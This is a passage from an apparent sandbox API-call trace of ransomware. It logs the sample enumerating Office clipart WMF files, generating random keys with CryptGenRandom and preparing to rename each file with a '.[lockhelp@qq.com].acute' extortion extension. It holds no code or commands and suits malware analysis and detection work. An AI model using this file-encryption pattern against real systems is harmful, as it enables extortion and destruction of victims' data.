(hObject=0x308) returned 1 [0275.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x20 [0275.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.060] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.060] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=17406) returned 1 [0275.060] CloseHandle (hObject=0x308) returned 1 [0275.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x20 [0275.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.060] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.061] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1472) returned 1 [0275.061] CloseHandle (hObject=0x308) returned 1 [0275.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x20 [0275.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.063] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.064] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5260) returned 1 [0275.064] CloseHandle (hObject=0x308) returned 1 [0275.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x20 [0275.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.064] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.064] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=896) returned 1 [0275.064] CloseHandle (hObject=0x308) returned 1 [0275.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x20 [0275.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.065] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.065] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=752) returned 1 [0275.065] CloseHandle (hObject=0x308) returned 1 [0275.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x20 [0275.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.065] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.065] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=11152) returned 1 [0275.065] CloseHandle (hObject=0x308) returned 1 [0275.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x20 [0275.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.065] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.066] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=9010) returned 1 [0275.066] CloseHandle (hObject=0x308) returned 1 [0275.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x20 [0275.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.066] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.067] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=13968) returned 1 [0275.067] CloseHandle (hObject=0x308) returned 1 [0275.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x20 [0275.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.067] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.067] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=42704) returned 1 [0275.067] CloseHandle (hObject=0x308) returned 1 [0275.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x20 [0275.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.067] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.068] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=15164) returned 1 [0275.068] CloseHandle (hObject=0x308) returned 1 [0275.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x20 [0275.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.068] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.069] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4634) returned 1 [0275.069] CloseHandle (hObject=0x308) returned 1 [0275.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x20 [0275.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.069] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.069] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2412) returned 1 [0275.069] CloseHandle (hObject=0x308) returned 1 [0275.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x20 [0275.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.069] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.069] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4984) returned 1 [0275.069] CloseHandle (hObject=0x308) returned 1 [0275.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x20 [0275.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.070] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.070] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3964) returned 1 [0275.070] CloseHandle (hObject=0x308) returned 1 [0275.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x20 [0275.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.071] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.071] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1160) returned 1 [0275.071] CloseHandle (hObject=0x308) returned 1 [0275.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x20 [0275.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.071] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.071] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2332) returned 1 [0275.071] CloseHandle (hObject=0x308) returned 1 [0275.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x20 [0275.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.071] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.072] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=10316) returned 1 [0275.072] CloseHandle 